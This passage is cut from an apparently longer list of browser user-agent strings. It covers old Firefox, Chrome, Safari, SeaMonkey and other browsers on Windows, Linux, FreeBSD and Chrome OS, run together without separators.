6.1; fr; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203 AskTbBT5/3.9.1.14019 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203 AskTbCDS/3.9.1.14019 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203 AskTbCS2/3.9.1.14019 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203 AskTbFXTV5/3.9.1.14019 Firefox/3.6.13 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.18) Gecko/20110614 Mozilla/5.0 (Android; Linux armv7l; rv:5.0) Gecko/20110615 Firefox/5.0 Fennec/5.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 GTB7.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.6pre) Gecko/20100604 Namoroka/3.6.6pre Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.8) Gecko/20100722 Firefox 3.6.8 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.1.18) Gecko/20110320 SeaMonkey/2.0.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.13) Gecko/20101203 AskTbIMB/3.9.1.14019 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.7) Gecko/20100713 Firefox/3.6.7 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; it-IT) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.25 Safari/532.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.1.9) Gecko/20100317 Thunderbird/3.0.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.12) Gecko/20101026 Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.8) Gecko/20100722 AskTbADAP/3.9.1.14019 Firefox/3.6.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:2.0b4) Gecko/20100818 Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP; rv:1.9.2.3) Gecko/20100403 Firefox/3.6.3 (Palemoon/3.6.3) Mozilla/5.0 (Windows; U; Windows NT 6.1; ja; rv:1.9.1.15) Gecko/20101029 Firefox/3.5.15 Lunascape/6.3.4.23051 ( .NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 6.1; ja; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Windows; U; Windows NT 6.1; lt; rv:1.9.2) Gecko/20100115 Firefox/3.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 Mozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 FirePHP/0.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.1.18) Gecko/20110320 SeaMonkey/2.0.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.2.13) Gecko/20101203 AskTbUT2V5/3.9.1.14019 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.2.13) Gecko/20101203 AskTbVD/3.8.0.12304 Firefox/3.6.13 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-BR; rv:1.9.1b3pre) Gecko/20090103 Shiretoko/3.1b3pre Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-BR; rv:1.9.2.13) Gecko/20101203 AskTbFXTV5/3.9.1.14019 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-BR; rv:1.9.2.13) Gecko/20101203 http://techpatterns.com/forums/about304.html Firefox/3.6.13 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-BR; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-BR; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-PT; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; ro; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 Mozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16 Mozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU; AppleWebKit/534.16; KHTML; like Gecko; Chrome/10.0.648.11;Safari/534.16) Mozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU; rv:1.9.2) Gecko/20100105 MRA 5.6 (build 03278) Firefox/3.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.10) Gecko/20100504 Lightning/1.0b1 SeaMonkey/2.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.13) Gecko/20101203 MRA 5.7 (build 03686) Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5 Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.3a4pre) Gecko/20100402 Minefield/3.7a4pre Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:1.8.0.7) Gecko/20110321 MultiZilla/4.33.2.6a SeaMonkey/8.6.55 Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:1.9.2.9) Gecko/20100913 Firefox/3.6.9 Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201 Mozilla/5.0 (Windows; U; Windows NT 6.1; sl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; sv-SE) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; sv-SE; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; sv-SE; rv:1.9.2.13) Gecko/20101203 AskTbIMB/3.9.1.14019 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; sv-SE; rv:1.9.2.8) Gecko/20100802 Thunderbird/3.1.2 ThunderBrowse/3.3.2 Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Windows; U; Windows NT 6.1; tr; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; tr; rv:1.9.2.13) Gecko/20101203 AskTbCLM/3.9.1.14019 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; uk; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; x64; fr; rv:1.9.1.1) Gecko/20090722 Firefox/3.5.1 Orca/1.2 build 2 Mozilla/5.0 (Windows; U; Windows NT 6.1; x64; fr; rv:1.9.2.13) Gecko/20101203 Firebird/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; x64; fr; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN) AppleWebKit/533+ (KHTML, like Gecko) Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.13) Gecko/20101210 Namoroka/3.6.13 Firefox/3.6.12 Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.14) Gecko/20110218 Firefox/3.6.14 Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-HK) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW; rv:1.9.2.13) Gecko/20101203 AskTbPTV/3.9.1.14019 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.2; WOW64; rv:1.8.0.7) Gecko/20110321 MultiZilla/4.33.2.6a SeaMonkey/8.6.55 Mozilla/5.0 (Windows; U; Windows NT 6.2; es-US ) AppleWebKit/540.0 (KHTML like Gecko) Version/6.0 Safari/8900.00 Mozilla/5.0 (Windows; U; Windows NT 6.2; it; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 6; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 7.0; de-DE; rv:1.9.0.7) Gecko/2009030422 Firefox/3.0.7 Mozilla/5.0 (Windows; U; Windows NT 7.0; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (Windows; U; Windows NT 7.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 9.0; en-US; rv:1.9.1.11) Gecko/20100701 SeaMonkey/2.0.6 Mozilla/5.0 (Windows; U; Windows NT5.1; en; rv:1.7.10) Gecko/20050716 Firefox/1.0.5 Mozilla/5.0 (Windows; U; Windows XP 5.2; en-US; rv:1.9) Gecko/Firefox/3.0 Mozilla/5.0 (Windows; U; Windows XP) Gecko MultiZilla/1.6.1.0a Mozilla/5.0 (Windows; U; de) Gecko/20090729 Firefox/3.5 (.NET CLR 3.5) Mozilla/5.0 (Windows; U; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U;) AppleWebKit/532.0 (KHTML, like Gecko) Iron Mozilla/5.0 (Windows; U;) AppleWebKit/532.0 (KHTML, like Gecko) Iron/3.0.197.0 Safari/532.0 Mozilla/5.0 (Windows; U;XMPP Tiscali Communicator v.10.0.1; Windows NT 5.1; it; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre Mozilla/5.0 (Windows; Windows NT 5.1; es-ES; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre Mozilla/5.0 (Windows; Windows NT 5.2; rv:2.0b3pre) Gecko/20100803 SeaMonkey/2.1a3pre Mozilla/5.0 (Windows; Windows NT 6.1; rv:2.0b2pre) Gecko/20100720 SeaMonkey/2.1a3pre Mozilla/5.0 (Windows; Windows; U; Windows NT 5.1; Windows CE 5.2; rv:1.8.1.4pre) Gecko/20070327 Minimo/0.020 Mozilla/5.0 (Windows;) NimbleCrawler 1.12 obeys UserAgent NimbleCrawler For problems contact: crawler@health Mozilla/5.0 (Windows;) NimbleCrawler 1.12 obeys UserAgent NimbleCrawler For problems contact: crawler@healthline.com Mozilla/5.0 (WindowsCE 6.0; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Mozilla/5.0 (X11) KHTML/4.9.1 (like Gecko) Konqueror/4.9 Mozilla/5.0 (X11; ; Linux i686; en-US; rv:1.8.1.3) Gecko Mozilla/5.0 (X11; ; Linux i686; rv:1.9.2.20) Gecko/20110805 Mozilla/5.0 (X11; ; Linux x86_64; rv:1.8.1.6) Gecko/20070802 Firefox Mozilla/5.0 (X11; Arch Linux i686; rv:2.0) Gecko/20110321 Firefox/4.0 Mozilla/5.0 (X11; CentOS; Linux x86_64; rv:36.0) Gecko/20100101 Firefox/36.0 Mozilla/5.0 (X11; CrOS i686 0.13.507) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/13.0.763.0 Safari/534.35 Mozilla/5.0 (X11; CrOS i686 0.13.587) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.14 Safari/535.1 Mozilla/5.0 (X11; CrOS i686 1193.158.0) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7 Mozilla/5.0 (X11; CrOS i686 12.0.742.91) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.93 Safari/534.30 Mozilla/5.0 (X11; CrOS i686 12.433.109) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.93 Safari/534.30 Mozilla/5.0 (X11; CrOS i686 12.433.216) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.105 Safari/534.30 Mozilla/5.0 (X11; CrOS i686 13.587.48) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.43 Safari/535.1 Mozilla/5.0 (X11; CrOS i686 1660.57.0) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.46 Safari/535.19 Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11 Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36 Mozilla/5.0 (X11; CrOS i686 4319.74.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36 Mozilla/5.0 (X11; CrOS x86_64 5841.83.0) AppleWebKit/537.36 (KHTML like Gecko) Chrome/36.0.1985.138 Safari/537.36 Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3178.0 Safari/537.36 Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0 Mozilla/5.0 (X11; FreeBSD 7.1-RELEASE i386; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.63 Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11 Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/535.22+ (KHTML, like Gecko) Chromium/17.0.963.56 Chrome/17.0.963.56 Safari/535.22+ Epiphany/2.30.6 Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/536.5 (KHTML like Gecko) Chrome/19.0.1084.56 Safari/1EA69 Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/536.5 (KHTML like Gecko) Chrome/19.0.1084.56 Safari/536.5 Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/537.4 (KHTML like Gecko) Chrome/22.0.1229.79 Safari/537.4 Mozilla/5.0 (X11; FreeBSD amd64; rv:27.0) Gecko/20100101 Firefox/27.0 SeaMonkey/2.24 Mozilla/5.0 (X11; FreeBSD amd64; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (X11; FreeBSD amd64; rv:54.0) Gecko/20100101 Firefox/54.0 Mozilla/5.0 (X11; FreeBSD amd64; rv:6.0) Gecko/20110818 Firefox/6.0 SeaMonkey/2.3 Mozilla/5.0 (X11; FreeBSD i386) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.121 Safari/535.2 Mozilla/5.0 (X11; FreeBSD i386; rv:28.0) Gecko/20100101 Firefox/28.0 SeaMonkey/2.25 Mozilla/5.0 (X11; FreeBSD i686) Firefox/3.6 Mozilla/5.0 (X11; FreeBSD x86_64; rv:2.0) Gecko/20100101 Firefox/3.6.12 Mozilla/5.0 (X11; Gentoo Linux x86_64; rv:11.0a2) Gecko/20111230 Firefox/11.0a2 Iceweasel/11.0a2 Mozilla/5.0 (X11; I; Linux i686; de-CH; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (X11; I; Linux i686; de; rv:1.9.0.14) Gecko/2009090216 UBUNTU/6.10 (intrepid) Firefox/3.0.1 Mozilla/5.0 (X11; Linux 3.5.4-1-ARCH i686; es) KHTML/4.9.1 (like Gecko) Konqueror/4.9 Mozilla/5.0 (X11; Linux 3.8-6.dmz.1-liquorix-686) KHTML/4.8.4 (like Gecko) Konqueror/4.8 Mozilla/5.0 (X11; Linux AMD64) Gecko Firefox/5.0 Mozilla/5.0 (X11; Linux Debian i686; rv:8.0) Gecko/20100101 Firefox/8.0 Iceweasel/8.0 Mozilla/5.0 (X11; Linux amd64) AppleWebKit/534.36 (KHTML, like Gecko) Chrome/13.0.766.0 Safari/534.36 Mozilla/5.0 (X11; Linux amd64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1 Mozilla/5.0 (X11; Linux armv6l; rv:10.0.5) Gecko/20100101 Firefox/10.0.5 Iceweasel/10.0.5 Mozilla/5.0 (X11; Linux armv6l; rv:10.0.6) Gecko/20100101 Firefox/10.0.6 Iceweasel/10.0.6 Mozilla/5.0 (X11; Linux armv71; rv:2.0b4pre) Gecko/20100818 Firefox/4.0b4pre Fennec/2.0a1pre Mozilla/5.0 (X11; Linux armv71; en-US; rv:2.0b2pre) Gecko/20100722 Firefox/4.0b2pre Fennec/2.0a1pre Mozilla/5.0 (X11; Linux armv7l; rv:2.0b3pre) Gecko/20100730 Firefox/4.0b3pre Fennec/2.0a1pre Mozilla/5.0 (X11; Linux armv7l; rv:2.0b4pre) Gecko/20100812 Firefox/4.0b4pre Fennec/2.0a1pre Mozilla/5.0 (X11; Linux armv7l; rv:2.0b4pre) Gecko/20100818 Firefox/4.0b4pre Fennec/2.0a1pre Mozilla/5.0 (X11; Linux i386; U) Opera 7.60 [en-GB] Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0 Mozilla/5.0 (X11; Linux i686 (x86_64)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 Mozilla/5.0 (X11; Linux i686 (x86_64)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3187.0 Safari/537.366 Mozilla/5.0 (X11; Linux i686 on x86_64; rv:10.0.6) Gecko/20100101 Firefox/10.0.6 Iceweasel/10.0.6 Mozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Mozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1 Mozilla/5.0 (X11; Linux i686 on x86_64; rv:2.1.1) Gecko/20110415 Firefox/4.0.2pre Fennec/4.0.1 Mozilla/5.0 (X11; Linux i686 on x86_64; rv:5.0) Gecko/20100101 Firefox/3.6.17 Firefox/3.6.17 Mozilla/5.0 (X11; Linux i686 on x86_64; rv:5.0a2) Gecko/20110524 Firefox/5.0a2 Mozilla/5.0 (X11; Linux i686 on x86_64; rv:6.0.2) Gecko/20100101 Firefox/6.0.2 Iceweasel/6.0.2 Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.23 (KHTML, like Gecko) Chrome/11.0.686.3 Safari/534.23 Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.14 Safari/534.24 Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.2 Chrome/11.0.700.2 Safari/534.24 Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.702.0 Chrome/12.0.702.0 Safari/534.24 Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.91 Chromium/12.0.742.91 Safari/534.30 Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Iron/12.0.750.0 Chrome/12.0.750.0 Safari/534.30 Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Slackware/Chrome/12.0.742.100 Safari/534.30 Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/10.04 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30 Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30 Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/11.04 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30 Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.33 (KHTML, like Gecko) Ubuntu/9.10 Chromium/13.0.752.0 Chrome/13.0.752.0 Safari/534.33 Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.34 (KHTML, like Gecko) QupZilla/1.2.0 Safari/534.34 Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.35 (KHTML, like Gecko) Ubuntu/10.10 Chromium/13.0.764.0 Chrome/13.0.764.0 Safari/534.35 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Iron/13.0.800.0 Chrome/13.0.800.0 Safari/535.1 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/10.04 Chromium/14.0.804.0 Chrome/14.0.804.0 Safari/535.1 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/10.04 Chromium/14.0.808.0 Chrome/14.0.808.0 Safari/535.1 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/10.04 Chromium/14.0.813.0 Chrome/14.0.813.0 Safari/535.1 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/14.0.803.0 Chrome/14.0.803.0 Safari/535.1 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/14.0.814.0 Chrome/14.0.814.0 Safari/535.1 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/14.0.825.0 Chrome/14.0.825.0 Safari/535.1 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Iron/17.0.1000.0 Chrome/17.0.1000.0 Safari/535.11 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/11.10 Chromium/17.0.963.65 Chrome/17.0.963.65 Safari/535.11 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.2 (KHTML, like Gecko) Ubuntu/11.10 Chromium/15.0.874.120 Chrome/15.0.874.120 Safari/535.2 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.21 (KHTML, like Gecko) Chrome/19.0.1041.0 Safari/535.21 Mozilla/5.0 (X11; Linux i686) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1150.1 Iron/20.0.1150.1 Safari/536.11 Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1200.0 Iron/21.0.1200.0 Safari/537.1 Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.22 (KHTML like Gecko) Ubuntu Chromium/25.0.1364.160 Chrome/25.0.1364.160 Safari/537.22 Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1478.0 Safari/537.36 Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2166.2 Safari/537.36 Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36 